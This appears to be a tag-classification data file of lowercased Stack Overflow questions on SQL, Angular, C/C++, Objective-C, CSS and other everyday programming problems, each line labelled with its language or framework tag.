mysql query where data shown in rows and not columns  i need to find the customerids of all customers who have ordered a certain quantity of particular products. for example  i want to get all customerids who have ordered 2 or more cheese or 5 or more bread. this should give me 1 4 and 3   <pre><code>customerid  product     qty 1           cheese      3 1           bread       2 2           cheese      1 2           pizza       4 3           bread       10 3           tomato      4 4           cheese      2 </code></pre>   it would be much easier if my table structure was altered to have a column for cheese  bread  pizza  bread and tomato. unfortunately this isn t possible.    edit: the customerid/product combo is unique. i would also like to be able to search for when all conditions are met. so  where 3 or more cheese and 2 or more bread.,mysql
newsstand kit and providing multiple magazines/newspapers in one application  so basically my questions is: can newsstand kit be used in one single app for several different magazine subscriptions  from the wwdc 504 session it doesn t really appear that this is true. in my understanding it appears that a magazine/newspaper subscription is coupled with 1 app. for instance the uiapplication setnewsstandiconimage only has a single uiimage parameter  so i can only deduce from this that one and only one newstand image can exist or rather be active for a single application. am i missing something here  can someone confirm or deny my suspicions  thanks in advance!,ios
condensing code in python with mappings  i seem to be using this block of code alot in python.   <pre><code>if y is not none:     obj[x][0]=y </code></pre>   how do i establish a mapping from x=>y and then iterate through this entire mapping while calling that block of code on x and y,python
scrollbar navigation on click of button  i have a navigation bar which has different elements to navigate to different elements in a horizontal scrollbar. i am using goto#div for navigation. right now navigation stops as soon the element is displayed on the screen. and navigation doesn t take place if the element is visible on screen. i want it to be the first element in the visible elements in the scrollbar.,html
checking strings as valid integers  i wan to split a string and then check if every part that i splitted is a number or an identifier this is what i did so far :)   <pre><code>public class splitest {   public void splitfunc() {       string str =  a:25 ;     string[] temp = null;     temp = str.split( : );      run(temp); }  public void run(string[] s) {       for (int i = 0; i &lt; s.length; i++) {          if (s[i].equals(   )) {   // &lt;&lt;&lt;   checks if the splitted string is a digit ot not                system.out.println(s[i]+   is a number );              } else                  system.out.println(s[i]+   is an identfier );     } }  public static void main(string args[]) throws exception {     splitest ss = new splitest();     ss.splitfunc(); }   } </code></pre>   is there a way to convert the string into a digit then check or something     the output should be like this: this is an identifier this is a number,java
rename the class in safe way   i have .net project using vs 2010 pro  some of the class name in app_code is    <ul> <li>products (products.cs)</li> <li>commons (commons.cs)</li> <li>members (members.cs)</li> </ul>   i think it is not good naming convention so i would to rename that  however  if i use search (products) and replace to (clsproducts)   it possible replace some text which is not the class so is it any tool to do that,.net
illegal iphone api function usage  can i use <code>objc_getclasslist</code> and <code>class_getsuperclass</code> in my iphone application  why  objc/objc-runtime.h  is not present when compiling for the device  ps: actually i am using 4.2 sdk,iphone
how to copy one nsmutablearray to another <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/5979573/how-to-copy-one-nsmutablearray-to-another >how to copy one nsmutablearray to another</a>    </blockquote>     hi all  i am new in iphone i have an nsmutablearray(array1)having value (id  firstname  lastname email  phone title company) these values are comes from xml and i want to copy to another nsmutablearray(array2) except id(means only firstname  lastname  phone  email  company  title) how can i do this. please help me. its very urgent    thanks in advance:,iphone
accessing private variables and functions of angular service with decorator  we are trying to use decorator to override existing code inorder to make sure the actual code is not changed.     however  we are able to override functions from a service which are declared using this. if a service contains private functions like function example()  i am unable to override.     can you please help me provide an option how to read functions and variables which are not declared using  this     please find the plunker example --   <pre><code>var upstream = angular.module( thirdparty   []);  http://plnkr.co/edit/qqh5ljtvib1p8ttyxicn p=preview  </code></pre>   from the above example  getcontent is accessible and getcontent1 is not accessible.     thanks for your help.,angularjs
get last id of a newly inserted element  or of an existing one  i have a following map table  with a unique key on the name column:   <pre><code>id | name 1    aaa 2    bbb 3    ccc </code></pre>   i want to get a newly created id if i insert a new value to this table  like this:   <pre><code>insert ignore into map values(null   ddd ); </code></pre>   i know i can do this with <code>getlastid()</code> function. but i also want to get id if a name already exists  and <code>getlastid()</code> function returns 0 in such case:   <pre><code>insert ignore into map values(null   ccc ); </code></pre>   is this possible to do with one sql  and without checking if a record exists  etc,mysql
join statement shows all users who have allocated points - is there a way to also include users that haven t allocated any points   i m running a school reward system in which members of staff allocate points to students for positive attitude and behaviour.    i have two tables:    <strong>staff</strong> <code>id</code>  <code>firstname</code>  <code>surname</code>  <code>position</code>  <code>faculty</code>  <code>subject</code>  <code>hours</code>  <code>allocation</code>    <strong>transactions</strong> <code>transaction_id</code>  <code>datetime</code>  <code>giver_id</code>  <code>recipient_id</code>  <code>points</code>  <code>category_id</code>  <code>reason</code>    i m trying to write an sql statement that shows how many points members of staff have allocated on a weekly basis.    this statement...   <pre><code>select   concat(s.firstname       s.surname) as `staff name`    sum(t.points) as `points allocated` from transactions t left join staff s on t.giver_id = s.id where `datetime` &gt;=  2012-10-08  group by t.giver_id order by `points allocated` asc </code></pre>   ... displays a list of users that have allocated points that week  and how many.    <img src= https://i.stack.imgur.com/krqmb.png  alt= reward system - staff names and points allocated >    <strong>however</strong>  it doesn t show users that have allocated 0 points.    is there a way of amending my statement to include those users  possibly be writing the join in reverse  using the <code>staff</code> table and joining to <code>transactions</code>  i m not sure where to start unfortunately.    thanks in advance,mysql
how to inspect python objects in similar way like js objects in chrome dev console   in chrome development console one can type name of a variable and output is a visual and interactive representation of the object. (in javascript objects are like dictionaries  so this is easy.)    i would like to have the same functionality in python. i am shocked i cannot find anything similar. for example in ipython gui console when i want to inspect variable <code>diff</code>  i get in this case its type instead:   <pre><code>in [5]: diff out[5]: &lt;_pygit2.diff at 0x1a69930&gt; </code></pre>   this command inspect the variable  but output is chaotic for complicated objects (here the output is incomplete):   <pre><code>in [10]: inspect.getmembers(diff) out[10]: [( __class__   &lt;type  _pygit2.diff &gt;)  ( __delattr__   &lt;method-wrapper  __delattr__  of _pygit2.diff object at 0x1a69930&gt;)  ( __doc__    diff objects. )  ( __format__   &lt;built-in method __format__ of _pygit2.diff object at 0x1a69930&gt;)  ( __getattribute__   (...) </code></pre>   i think a live introspection is very useful when language has no typesystem. maybe this functionality is available only in special python ides     <strong>to show how it is done in chrome:</strong>    <img src= https://i.imgur.com/8xruyhl.png  alt= example of chrome devtools object introspection >    on the picture you can see an introspecion of variable <code>f</code>. it is an object of type <code>form</code>  you can click on it and see its properties (e.g. <code>_meetingtimefrom</code>) and theirs values  you can click further on properties to inspect them  you can see object s methods (e.g. field <code>__proto__</code>  this might be a way how to see object methods in javascript).,python
how to return timestamp based on user timezone   say that i have a timezone variable which is returned from a database that my users can set to their prefered time zone.  gmt+5 would return simply as:   <pre><code>$timezone = 5; </code></pre>   i need the users timezone so that i can reflect the date of an event in their particular time format.  here is what i have so far:   <pre><code>while ($row = mysqli_fetch_array($query  mysqli_assoc)) { $time = strftime( %y-%m-%d %i:%m %p   strtotime($row[ time ])); } echo $time; </code></pre>   how could i change the above output to reflect the time of the event based on the users preferred time zone    <pre><code>//output = 2017-01-15 12:09 am  //expected output: 2017-01-14 07:09 pm   </code></pre>,php
scope not working in the view..my code is correct  is it possible to put $scope into switch condition like this  <pre><code>$http.get( http://localhost:8080/testprojetjersyangularjs/rest/loginservices/login   config)     .then(function(data) {         var data = data.data;          if (data ==  administrateur  || data ==  utilisateur ) {              switch (data) {                 case  administrateur :                     alert( in case admin );                     alert( arg 0 in case admin :   + arg0);                     $cookiestore.put( arg0   arg0);                     $scope.roleadmin = data;                     $location.path( /accueil );                      break;                 case  utilisateur :                     alert( in case user );                     $cookiestore.put( arg0   arg0);                     $scope.roleuser = data;                     $location.path( /accueil );                      break;                 default:             }              $scope.arg0 = $cookiestore.get( arg0 );             alert( scope arg 0 :   + $scope.arg0)         } else if (data ==  error ) {             $scope.errormsg =  donnees incorrecte!! ;             $location.path( / );            }      }); </code></pre>,angularjs
how can i make my display: table; div fill the horizontal width of the div containing it   i have the following code:   <pre><code>&lt;div class= rep_tb0  style= width: 100% &gt;     &lt;div class= rep_tr0  style= width: 100% &gt;         &lt;div class= rep_td0  style= width: 100%  id= activitylog &gt;activity log&lt;/div&gt;     &lt;/div&gt; &lt;/div&gt;  .rep_tb0 {display: table; } .rep_tb0 {padding: 5px;} .rep_tb0 {border-collapse:collapse; } .rep_tr0 {display: table-row;} .rep_td0 {display: table-cell; padding: 5px; vertical-align:top; } .rep_td0 {border: 1px solid #666; } </code></pre>   what i would like is for the table that has the word activity log to extend horizontally to fill the div that contains it. note that div has a width set but it may easily change. as you can see i tried setting the width in three places but none worked.     how can i make it fill the area horizontally without setting the width in pixels.    please don t forget i m using display: table; these are not normal divs :-),css
html table fixed column width  i have an html table with 2 columns and 2 rows. i want the columns to stay fixed. so for example      row1text   dropdown <br /> row2text   textbox    instead what is happening is the dropwdown is shifting over. for example     row1text &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dropdown<br /> row2text   textbox    this is happening in ie 11 and chrome version 35.0.1916.153. however  it works fine in ie9.    here is the code i am using: <a href= http://jsfiddle.net/rnsxa/  rel= nofollow >http://jsfiddle.net/rnsxa/</a>   <pre><code>    .text {         width:600px;     }      function dropdownchange(value) {         if (value ==  2 ) {             document.getelementbyid( row2 ).style.display =  block ;         }         else {             document.getelementbyid( row2 ).style.display =  none ;         }     }      &lt;table style= width:100%; &gt;         &lt;tr&gt;             &lt;th align= left  style= width: 15% &gt;                 row1:             &lt;/th&gt;             &lt;td style= width: 85% &gt;                 &lt;select onchange= dropdownchange(this.value) &gt;                       &lt;option value= 1 &gt;1&lt;/option&gt;                       &lt;option value= 2 &gt;2&lt;/option&gt;                 &lt;/select&gt;             &lt;/td&gt;         &lt;/tr&gt;         &lt;tr id= row2  style= display:none; &gt;             &lt;th align= left  style= width: 15% &gt;                 row2:             &lt;/th&gt;             &lt;td style= width: 85% &gt;                 &lt;input type= text  class= text /&gt;             &lt;/td&gt;         &lt;/tr&gt;     &lt;/table&gt; </code></pre>,html
calling the nested function through its address after the containing function has exited   i get this question from this chinese blog <a href= http://chenyufei.info/blog/2011-02-28/wrap-c-function-closure-gcc-nested-function/  rel= nofollow >http://chenyufei.info/blog/2011-02-28/wrap-c-function-closure-gcc-nested-function/</a> the author want to use closure in c language  and he found gcc has the ability of nested function (and closure). <strong>for example</strong>:   <pre><code>typedef int (*func_t)(int arg);   func_t create_wrap_function(func_t f) {       int wrapped(int arg) {           // call original function          int val = f(arg);           fprintf(log_func_call   arg: %d ret: %d   arg  val);           return val;      }      return wrapped;   } </code></pre>   you shouldn t do this  at least according to the gcc docs:     <strong>if you try to call the nested function through its address after the containing function has exited  all hell will break loose</strong>.     <a href= http://gcc.gnu.org/onlinedocs/gcc-4.5.2/gcc/nested-functions.html  rel= nofollow >http://gcc.gnu.org/onlinedocs/gcc-4.5.2/gcc/nested-functions.html</a>,c
when an object gets stored in memory  does the value only get stored or does it get stored as an object   when a value gets stored in the memory  i understand that the value itself gets stored in memory but when it comes to objects  how does it get stored in memory,javascript
how to create objects when the count is not known in prior  how to create objects if i dont know in prior how many to create. for example i am creating an application and i dont know in prior how many users are going to use  so should i declare fixed number of objects(say myclass obj[200]) or can i dynamically create as and when i want or have a new user,c++
character array seems to grow after memcpy()  what is the problem   i m using a char[] of size 4 but when i use memcpy() function it stores 8 characters in it and also the character array length becomes 8. what is happing     i don t want to use malloc ok.   <pre><code>char strroh[4]={ \0 }; </code></pre>   and then   <pre><code>memcpy(strroh dump+22 4); </code></pre>   now tell me whats wrong with this   <pre><code>char strip[]= hhhhhhhh ; char strroh[4]={ \0 }; char strtheta[4]={ \0 }; char strtimestamp[6]={ \0 }; char strnmdump[48]={ \0 };   </code></pre>   is there any problem with decelerations cause when i change there order they strings also change there size now strroh is getting 10 chars     what a hell is going on with this,c
console application vs dll vs windows application etc  when i start a new project in visual studio  i have a few options to choose from: windows application  console application  dll  static library. what exactly are the differences and when should i use which  (sorry if this is a stupid question  i am new to c++.) thanks in advance.,c++
making objects  constructor with va_list  i got problem with va_list. i used it in constructor to get unexpected amount of data to my object. the problematic code is there:   <pre><code>#include &lt;cstdarg&gt; #include &lt;iostream&gt; using namespace std;  class data{     private:         int length;         int* tab;     public:         data():tab(null)  length(0){};         data(int x  ...):length(x+1){             va_list ap;             va_start(ap  x);             tab=new int[length];             for(int i=0; i&lt;length; ++i){                 tab[i]=va_arg(ap  int);             }             va_end(ap);         }         void showthem()const{             if(tab!=null){                 int x;                 for(x=0; x&lt;length-1; ++x){                     cout&lt;&lt;tab[x]&lt;&lt;    ;                 }                 cout&lt;&lt;tab[x];             }         } } ostream &amp; operator&lt;&lt;(ostream &amp; out  const data &amp; x){     x.showthem();     return out; } int main(){     int table [] = {5 1 2 3 4 5 6};     data x1(*table);     data x2(4 1 2 3 4 5);     cout &lt;&lt; x1 &lt;&lt; endl;     cout &lt;&lt; x2 &lt;&lt; endl; } </code></pre>   when i make object naturally by writing all parameters it s okay  but when i try to make it by a table it making problem. i got unexpected data in class tab.    i guess i am making something wrong. in forst way - can i even make object like this via *table  i am giving to the constructor some amount of integers so it should work...,c++
differences between forms of left join  what is the difference between these query   <pre class= lang-sql prettyprint-override ><code>select     a.anyfield from     a     left join b on b.aid = a.id     left join c on b.cid = c.id  </code></pre>   and this another query   <pre class= lang-sql prettyprint-override ><code>select     a.anyfield from     a     left join     (         b         join c on b.cid = c.id     ) on b.aid = a.id </code></pre>,sql
function call with named/unnamed and variable arguments in python  i have the following code:   <pre><code>def foo(func  *args  named_arg = none):     return func(*args) </code></pre>   returning a <code>syntaxerror</code>:   <pre><code>  file  tester3.py   line 3     def foo(func  *args  named_arg = none):                                  ^ </code></pre>   why is that  and is it possible to define somewhat a function in that way  which takes one argument (<code>func</code>)  then a list of variable arguments <code>args</code> before named arguments  if not  what are my possibilities,python
values are overriden in my arraylist  i have a problem  or i don t understand a code snippet: here it is:   <pre><code>        list&lt;person&gt; persons = new arraylist&lt;&gt;();          person person = new person();         person.prename =  klaus ;         for (int i = 0; i &lt; 5; i++) {             person.surname = string.valueof(i);             persons.add(person);             system.out.println(person.prename +  .   + person.surname);         }         system.out.println( ======= );          for (person person1 : persons) {             system.err.println(person1.prename +  .   + person1.surname);         } </code></pre>   the result is:   <pre><code>klaus. 0 klaus. 1 klaus. 2 klaus. 3 klaus. 4 ======= klaus. 4 klaus. 4 klaus. 4 klaus. 4 klaus. 4 </code></pre>   why are the values overriden in the list persons  and how can i prevent such a result,java
comparing objects using the compare method in objective-c  if i were to try and compare two objects in objective-c  i believe as of ios 6 it is possible to just use normal operators such as == (proof below)  however  i would like to know how this would be done with a -compare method.    as far as i know  the compare method works something in this fashion:   <pre><code>if ([objone compare:objtwo] == nsorderedascending){     // objone is greater </code></pre>   first of all  is that correct  and secondly  what are the other comparison methods  i.e  nsorderedascending     <img src= https://i.stack.imgur.com/vvpes.png  alt= enter image description here >,objective-c
after resize bitmap the result of the new bitmap is smooth bitmnap  i using simple re-size method to change my bitmap to new size. the original bitmap size is 320x240 and i change the size two times    <ul> <li>to 250x160</li> <li>doing some process on the bitmap</li> <li>change it back to 320x240  </li> </ul>   i found out that after i change it back to 320x240 i see that the bitmap is little smooth and not as i excepted.    how can i avoid this smooth to appear       the resize method:   <pre><code>private static image resizeimage(image imgtoresize  size size) {     int sourcewidth = imgtoresize.width;    int sourceheight = imgtoresize.height;     float npercent = 0;    float npercentw = 0;    float npercenth = 0;     npercentw = ((float)size.width / (float)sourcewidth);    npercenth = ((float)size.height / (float)sourceheight);     if (npercenth &lt; npercentw)       npercent = npercenth;    else       npercent = npercentw;     int destwidth = (int)(sourcewidth * npercent);    int destheight = (int)(sourceheight * npercent);     bitmap b = new bitmap(destwidth  destheight);    graphics g = graphics.fromimage((image)b);    g.interpolationmode = interpolationmode.highqualitybicubic;     g.drawimage(imgtoresize  0  0  destwidth  destheight);    g.dispose();     return (image)b; } </code></pre>,c#
help me understand this css overriding behavior  why does <code>#box2 a</code> overrides <code>#box a</code> and when i put <code>.box2 a</code> it doesn t override    <pre><code>#box a { font-size:25px; } #box2 a { font-size:55px; }  &lt;div id= box &gt; &lt;a href=  &gt;link&lt;/a&gt; &lt;div id= box2 &gt;&lt;a href=  &gt;link&lt;/a&gt;&lt;/div&gt; &lt;/div&gt; </code></pre>,css
shallow copying in this program  this is code from an addition calculator that does operations by entering the two operands first and then the operation; like  5 enter 2 enter +  would result in  7 . when the user taps on a number a <code>double</code> will be sent to <code>pushoperand:</code> when a user taps on the addition button the string <code>@ + </code> will be sent like to <code>performoperation:</code>. my question is what is the point of making those copies in <code>program</code> and <code>runprogram:</code> if they re all shallow copies and their elements all end up pointing to the same elements of <code>nsnumber</code> and <code>nsstring</code> objects as <code>_programstack</code>  <code>program</code>  and <code>stack</code>    <pre><code>#import &lt;foundation/foundation.h&gt;  @interface calculatorbrain : nsobject @property (nonatomic  readonly) id program;  +(double)runprogram:(id)program;  -(double)performoperation:(nsstring *)operation;  @end </code></pre>  <hr>  <pre><code>#import  calculatorbrain.h        @interface calculatorbrain () @property (nonatomic  strong) nsmutablearray *programstack; @end  @implementation calculatorbrain @synthesize programstack = _programstack;  -(nsmutablearray *) programstack {     if (!_programstack)         _programstack = [[nsmutablearray alloc] init];     return _programstack; }  -(void)pushoperand:(double)operand {     [self.programstack addobject: [nsnumber numberwithdouble: operand]]; }  -(double)performoperation:(nsstring *)operation {         [self.programstack addobject: operation];         double result = [calculatorbrain runprogram: self.program];         return result;     }  -(id)program {     return [self.programstack copy]; }  +(double)runprogram:(id)program {     nsmutablearray *stack;     if ([program iskindofclass: [nsarray class]])         stack = [program mutablecopy];     return [self popoperandoffprogramstack: stack]; }  +(double)popoperandoffprogramstack:(nsmutablearray *)stack {     double result = 0;     id topofstack = [stack lastobject];     if (topofstack)         [stack removelastobject];      if ([topofstack ismemberofclass: [nsnumber class]])         result = [topofstack doublevalue];      if ([topofstack iskindofclass: [nsstring class]]) {         nsstring *operation = topofstack;          if ([operation isequaltostring: @ + ]) {             result = [self popoperandoffprogramstack: stack] + [self popoperandoffprogramstack: stack];     }     return result; }  @end </code></pre>,objective-c
filling data into an hidden div with angular  i have the following:   <pre><code>&lt;div class= panel &gt;   &lt;form id= form  method= post  ng-submit= submit &gt;     &lt;select ng-controller= countrycontroller  ng-model= model.country  ng-options= country.id as country.name for country in model.countries &gt;       &lt;option value=  &gt;country&lt;/option&gt;     &lt;/select&gt;    &lt;/form&gt;  &lt;/div&gt;  div.panel {   display: none;         overflow: hidden;   position: relative; } </code></pre>   the panel is initially hidden and i have a button to show / hide it.    because the panel is initially hidden the select is not filled.    if i remove the display:none from the panel then the select is filled.    how can i solve this,angularjs
what are some gotchas when retargeting .net 2.0 to 3.5   i am currently working on a project that is moving from .net 2.0 to 3.5 across the board.    i am well aware that 3.5 is basically a set of added functionality (libraries  if you will) on top of what 2.0 offers.    are there any gotchas that i might hit by simply re-targeting the compiler to 3.5,.net
why can t string.empty be used when creating a const string variable   i often use <code>string.empty</code> for a placeholder  which equates to <code>  </code>.  so my question  why does a <code>const</code> not like <code>string.empty</code>   they compile identically.   <pre><code>// good private const string example =   ;  // bad private const string example = string.empty; </code></pre>   what in <code>string.empty</code> makes it not able to be used with a <code>const</code>.,c#
how can i improve the speed of this mysql query   here s the query:   <pre><code>select  u.uid as uid  fuo.uid as fuo_uid  fo.prid as fo_name from  users u left outer join firstpoint_users_organisations fuo on (u.uid=fuo.uid) left outer join firstpoint_organisations fo on (fo.nid=fuo.nid) where  u.status=1 and u.uid&gt;1  order by u.uid  limit 3; </code></pre>   and the tables:   <pre><code>users +------------------+------------------+------+-----+---------+----------------+ | field            | type             | null | key | default | extra          | +------------------+------------------+------+-----+---------+----------------+ | uid              | int(10) unsigned | no   | pri | null    | auto_increment | | name             | varchar(60)      | no   | uni |         |                | | status           | tinyint(4)       | no   |     | 0       |                | +-----------------------------------------------------------------------------+  firstpoint_users_organisations +-------+------------------+------+-----+---------+-------+ | field | type             | null | key | default | extra | +-------+------------------+------+-----+---------+-------+ | nid   | int(10) unsigned | no   | pri | 0       |       | | uid   | int(10) unsigned | no   | pri | 0       |       | +-------+------------------+------+-----+---------+-------+  firstpoint_organisations +----------+------------------+------+-----+---------+-------+ | field    | type             | null | key | default | extra | +----------+------------------+------+-----+---------+-------+ | nid      | int(10) unsigned | no   | pri | 0       |       | | prid     | varchar(32)      | no   |     |         |       | +------------------------------------------------------------+ </code></pre>   i wish to show <code>users.uid</code> and <code>firstpoint_organisations.prid</code> for every row in <code>users</code>  even though some users won t have a <code>prid</code>  in which case i show null (hence the left outer joins). the connection should be as follows:   <pre><code>users uid -      firstpoint_users_organisations       \----&gt;uid            nid -          firstpoint_organisations                 \--------&gt;nid                           prid </code></pre>   so each user (users) has a user id (uid)  and the organisation they re associated with (firstpoint_users_organisation) has a node id (nid) and stores this association. the organisation s details are then stored in firstpoint_organisations.    so every user will have a <code>prid</code>  but if they don t  show null.     now  if i do an inner join on <code>firstpoint_users_organisations</code> and then on <code>firstpoint_organisations</code>  i get a good query speed (the above query runs in 0.02 seconds). but  when i switch both to left outer join  so i can get all users  <code>prid</code> or no <code>prid</code>  the above query takes ~90 seconds to run.    is there anything i can do to speed this query up  there are approx. 70 000 rows in the <code>users</code> table  but even with limit 3  the making the inner join a left outer join takes a horrible amount of time. interestingly  the query takes the same amount of time to run with limit 30  so i think there s something fundamentally wrong with my query.    explain as requested:   <pre><code>+----+-------------+-------+--------+---------------+---------+---------+-----------------------+-------+----------------------------------------------+ | id | select_type | table | type   | possible_keys | key     | key_len | ref                   | rows  | extra                                        | +----+-------------+-------+--------+---------------+---------+---------+-----------------------+-------+----------------------------------------------+ |  1 | simple      | u     | range  | primary       | primary | 4       | null                  | 13152 | using where; using temporary; using filesort | |  1 | simple      | fuo   | index  | null          | primary | 8       | null                  |  3745 | using index                                  | |  1 | simple      | fo    | eq_ref | primary       | primary | 4       | dbdb-dbdb_uat.fuo.nid |     1 |                                              | +----+-------------+-------+--------+---------------+---------+---------+-----------------------+-------+----------------------------------------------+ 3 rows in set (0.00 sec) </code></pre>,mysql
detect if the iphone is running a debug/distribution build at runtime  is it possible <strong>at runtime</strong> to detect if the application that is running was compiled with debug or distribution.,iphone
insert a row at certain points in a datatable   i have a table that looks like this:   <pre><code>name   hours mark   10 mark   15 mark   10 mark   13 albert 11 albert 12 max    10 max    13 </code></pre>   this data resides in a datatable  which is the datasource for my gridview.  i would like to  if possible  iterate through the datatable and insert a row when the name field changes.  like this:   <pre><code>name   hours mark   10 mark   15 mark   10 mark   13  albert 11 albert 12  max    10 max    13 </code></pre>   is it possible to use a foreach loop to iterate through this datatable and upon the name changing  insert a row at that point   or  is there another method to get the desired result     thanks for any pointers!    edit:  my code  so far:   <pre><code>        var counter = 0;         var holdname =   ;         // looping through datatable dt.         foreach (datarow row in dt.rows)         {            //compare name from dt to hold name            //if different            //  insert blank row            //  change hold name to new name            //continue looping          }         gridview1.datasource = dt;         gridview1.databind(); </code></pre>   the problem  though is that setting the hold name within the loop is proving tricky.  it s like it needs to be set  ouside  the loop  first  and then checked within the loop.  the problem is  how do i know what the name is without getting the first record in the datatable   perhaps  that is my answer   get the first record  put the name in the hold name variable  then start the foreach loop,asp.net
accessing components between two view controllers  i have created two view controllers (vc) in story board by drag and drop. i have added a button in first vc and a label in the second vc. for the button click in 1st vc i want to change the label text in the 2nd vc.     how can i do it,ios
file extensions in asp.net and their definitions  any one please give me file extensions (like aspx  ascx etc) in asp.net and there definitions and were they use.    thanks in advance,asp.net
howto: read input and store it in another file  i want to make a program that reads the highest value from one file and stores it in another. i ve read about ifstream and ofstream but how do i let the ofstream store the highest value from the instream in another file  here is what i have so far:   <pre><code>#include &lt;iostream&gt; #include &lt;fstream&gt; #include &lt;string&gt; #include &lt;algorithm&gt; #include &lt;iterator&gt; #include &lt;vector&gt;  using namespace std;  struct csvwhitespace : ctype&lt;char&gt; { static const mask* make_table() {     static vector&lt;mask&gt; v{classic_table()  classic_table() + table_size};     v[   ] |=  space;  // comma will be classified as whitespace     return v.data(); } csvwhitespace(size_t refs = 0) : ctype{make_table()  false  refs} {} }    csvwhitespace;  int main() { string line; ifstream myfile ( c:/users/username/desktop/log.csv );   ofstream myfile2 ( c:/users/username/desktop/log2.csv );   return 0; } auto v = vector&lt;int&gt;{}; myfile.imbue(locale{myfile.getloc()  &amp;csvwhitespace}); copy(istream_iterator&lt;int&gt;{myfile}  istream_iterator&lt;int&gt;{}  back_inserter(v)); myfile2 &lt;&lt; *max_element(begin(v)  end(v)); } </code></pre>   thanks in advance :),c++
cannot implicitly convert type  string  to  system.web.ui.webcontrols.unit   i ma getting error like cannot implicitly convert type  string  to  system.web.ui.webcontrols.unit  in the following code. how to fix this.   <pre><code>protected void page_load(object sender  eventargs e) {     if (!page.ispostback)     {         radtab tab = new radtab();         tab.text = string.format( new page {0}   1);         radtabstrip1.tabs.add(tab);          radpageview pageview = new radpageview();         pageview.height =  100px ;         radmultipage1.pageviews.add(pageview);          buildpageviewcontents(pageview  radtabstrip1.tabs.count);         radtabstrip1.selectedindex = 0;         radtabstrip1.databind();      } } </code></pre>   here i am getting error. pageview.height =  100px ;    how to fix this,.net
how to determine if the user is logged in to gmail  in android  how can i tell if the user has configured this device to send/receive emails using gmail.    a device that is so configured receives gmail messages in the notifications tray and will see gmail listed as a synched item in the settings/accounts/google screen.  i m looking for a programmatic way of accessing this boolean piece of information.,android
when printing  load print.css only and not styles.css  is there a way to use only print.css and not styles.css when printing  i feel like 90% of my print.css is undoing the styles in styles.css.,css
how to get a form to go to a certain page  i m using checkboxes in a form to link to a specific page which has a different ending based on the checkbox checked. at the moment it links me to <a href= http://localhost:13080/download filestodownload=p9mpfaus9vjjbxhfycxwlg%3d%3d&amp;submit=download+file  rel= nofollow >http://localhost:13080/download filestodownload=p9mpfaus9vjjbxhfycxwlg%3d%3d&amp;submit=download+file</a>    but i want it to link me to <a href= http://localhost:13080/download/p9mpfaus9vjjbxhfycxwlg%3d%3d  rel= nofollow >http://localhost:13080/download/p9mpfaus9vjjbxhfycxwlg%3d%3d</a>    html:   <pre><code>&lt;form action= /download  method= get &gt;         &lt;table id= downloadfile  width= 100% &gt;             &lt;tr&gt;                 &lt;td&gt;                     &lt;table id= downloadfiledetails &gt;                         &lt;tr id= dld &gt;                             &lt;td id= dld  width= 2% &gt;&lt;/td&gt;                             &lt;td id= dld  width= 80% &gt;file name&lt;/td&gt;                             &lt;td id= dld  width= 10% &gt;upload date&lt;/td&gt;                             &lt;td id= dld  width= 8% &gt;format&lt;/td&gt;                         &lt;/tr&gt;                         {% for file in file_query %}                         &lt;!--jinja code that can be easily implemented into html code                          in this case it s a for loop--&gt;                         &lt;tr&gt;                             &lt;td id= dld  style= vertical-align: middle; text-align: center  &gt;&lt;input type= checkbox  name= filestodownload  value= {{file.key1}} &gt;&amp;nbsp &lt;/td&gt;                             &lt;!-- checkbox which is to be used to check the files which user wants to download --&gt;                             &lt;td id= dld &gt;&lt;a href = /download/{{file.key1}} &gt;{{file.file1}}&lt;/td&gt;                             &lt;!-- uses key that was captured in the uploadhandler class to be used as a link and filename is used as text on top of the link so user can know what they re downloading --&gt;                             &lt;td id= dld &gt;{{file.create1}}&lt;/td&gt;                             &lt;!-- displays date file was created --&gt;                             &lt;td id= dld &gt;{{file.type1}}&lt;/td&gt;                             &lt;!-- shows the file type of the uploaded file --&gt;                         &lt;/tr&gt;                         {% endfor %}                     &lt;/table&gt;                 &lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;                 &lt;td&gt;&lt;input type= submit  value= download file  name= submit &gt;&lt;/td&gt;             &lt;/tr&gt;         &lt;/table&gt;     &lt;/form&gt; </code></pre>,html
sql replace any number  i am in mysql. i have the table named blog and the column photo. i want to make some changes for instance. all the values in that column have that schema:  nunber/text.svg for instance: 1/marketing.svg    i want to delete the number/ in the example  i want to have: text.svg.  but i want it work with any number  one  two or three digits.    this is what i tried   <pre><code>update blog  set photo = replace(photo   %/     ) </code></pre>,mysql
dynamically setting unknown readonly property at runtime in objective-c  i m building a class that sets properties of a subclass dynamically at runtime from a plist  that works like this:   <h3> example </h3>   <img src= https://i.stack.imgur.com/my4tt.png  alt= property list editor screenshot >    you declare your properties in a subclass to match the names of keys:   <pre><code>#import  plistmodel.h   @interface custommodel : plistmodel  @property (strong  nonatomic) nsstring * stringpropertykey; @property (strong  nonatomic) nsdate * datepropertykey; @property (strong  nonatomic) nsarray * arraypropertykey; @property (strong  nonatomic) nsdictionary * dictionarypropertykey;  @property int intpropertykey; @property bool boolpropertykey; @property float floatpropertykey;  @end </code></pre>   that s it! the values are automatically populated at runtime without any additional code:   <pre><code>[custommodel plistnamed:@ custommodel  inbackgroundwithblock:^(plistmodel *plistmodel) {      custommodel * custommodel = (custommodel *)plistmodel;      nslog(@ stringproperty: %@   custommodel.stringpropertykey);     nslog(@ dateproperty: %@   custommodel.datepropertykey);     nslog(@ arrayproperty: %@   custommodel.arraypropertykey);     nslog(@ dictionaryproperty: %@   custommodel.dictionarypropertykey);     nslog(@ intproperty: %i   custommodel.intpropertykey);     nslog(@ boolproperty: %@   custommodel.boolpropertykey   @ yes  : @ no );     nslog(@ floatproperty: %f   custommodel.floatpropertykey);  }]; </code></pre>  <h3> problem </h3>   i set the properties at runtime by generating a selector and calling it with the value i want to set like this:    <pre><code>sel propertysetterselector = nsselectorfromstring(@ set&lt;#propertyname#&gt;: );  